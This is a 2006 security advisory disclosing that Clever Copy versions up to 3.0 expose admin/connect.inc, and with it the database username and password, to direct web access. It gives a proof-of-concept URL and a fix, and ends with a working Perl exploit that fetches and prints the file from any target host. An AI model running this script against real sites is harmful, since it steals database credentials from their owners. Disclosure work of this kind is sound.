[ECHO_ADV_28$2006] Clever Copy <= 3.0 Connect.inc Critical Information Disclosure

[eufrato@xxxxxxxxx]

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[ECHO_ADV_28$2006] Clever Copy <= 3.0 Connect.inc Critical Information 
Disclosure
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Author       : M.Hasran Addahroni
Date         : April, 7th 2006
Location     : Indonesia, Bali
Web          : http://advisories.echo.or.id/adv/adv28-K-159-2006.txt
Critical Lvl : Medium
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Affected software description:
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Application : Clever Copy 
version     : 3.01 
URL         : http://clevercopy.bestdirectbuy.com/
Description :

Clever Copy is a free, fully scalable web site portal and news posting system. 
You can run it as a very simple blog or ramp it up to a full Content Management 
System. It is easy to setup, use and maintain requiring no previous knowledge 
of web portals, blogs, php, Cms's or databases. 

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Vulnerability:
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Critical connect.inc file in admin folder are vulnerable to direct access to 
view 'critical' information about the database username and password.

------------------connect.inc-----------------------------------
<?php
..
//ENTER THE SETTINGS FOR THE CONNECTION TO YOUR DATABASE BELOW
$Host = "localhost"; // The hostname for your server. localhost works for most 
database servers or you may have to contact your hosts if you don't know
$Dbase = "clevercopy"; // The name of your database on your database server
$User = "test";  // The username required to connect to your database
$Pass = "test123"; // The password required to connect to your database
..
?>
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Its works when file *.inc not declare in httpd.conf.

Poc:
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http://www.example.com/[clevercopy_path]/admin/connect.inc

Solution:
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rename connect.inc into connect.inc.php to protect this vulnerability or 
declare *.inc in httpd.conf

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~ #aikmel #e-c-h-o @irc.dal.net
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Contact:
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     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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Perl Exploit:
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#!/usr/bin/perl 
#
# Clever Copy <= 3.0 connect.inc Critical Information disclosures Exploit
# Bug found & code by K-159 
# Base on advisory at 
http://http://advisories.echo.or.id/adv/adv28-K-159-2006.txt
# 
# Description :
#  Critical connect.inc file in admin folder are vulnerable to direct access
#  to view 'critical' information about the database username and password.
#
#  <?php
#   ...
#  //ENTER THE SETTINGS FOR THE CONNECTION TO YOUR DATABASE BELOW
#   $Host = "localhost"; // The hostname for your server. localhost works for 
most database servers or you may have to contact your hosts if you don't know
#   $Dbase = "clevercopy"; // The name of your database on your database server
#   $User = "test";  // The username required to connect to your database
#   $Pass = "test123"; // The password required to connect to your database
#  ...   
#   ?> 
#
#  Its works when file *.inc not declare in httpd.conf
#
# Poc :
#  http://www.example.com/[clevercopy_path]/admin/connect.inc
#
# usage:
# perl celevercopy.pl www.target.com
#
# www.echo.or.id (c) 2006
#
# Greetz : echo|staff, aikmel|crew, masterpop3, SinChan, sakitjiwa, etc
# contact : eufrato[at]gmail.com www.echo.or.id
#
print "\n=======================================================\n";
print "* Clever Copy connect.inc Critical Information Disclosure Exploit by 
K-159  *\n";
print "*             www.echo.or.id #e-c-h-o irc.dal.net        *\n";
print "==========================================================\n";
require LWP::UserAgent;

if(@ARGV == 1)
        {

$target= $ARGV[0];

my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

my @url = ("http://$target/admin/connect.inc";);

foreach my $urlz (@url) {
            my $injek = $ua->get($urlz);
            print "\n-------------------------------\n";
            if ($injek->is_success)
                 {   print $injek->content;} 
            else
                 {die $injek->status_line;}
            print "\n-------------------------------\n";

}
}
else {
print "\n Use: perl $0 [www.target.com] \n";
}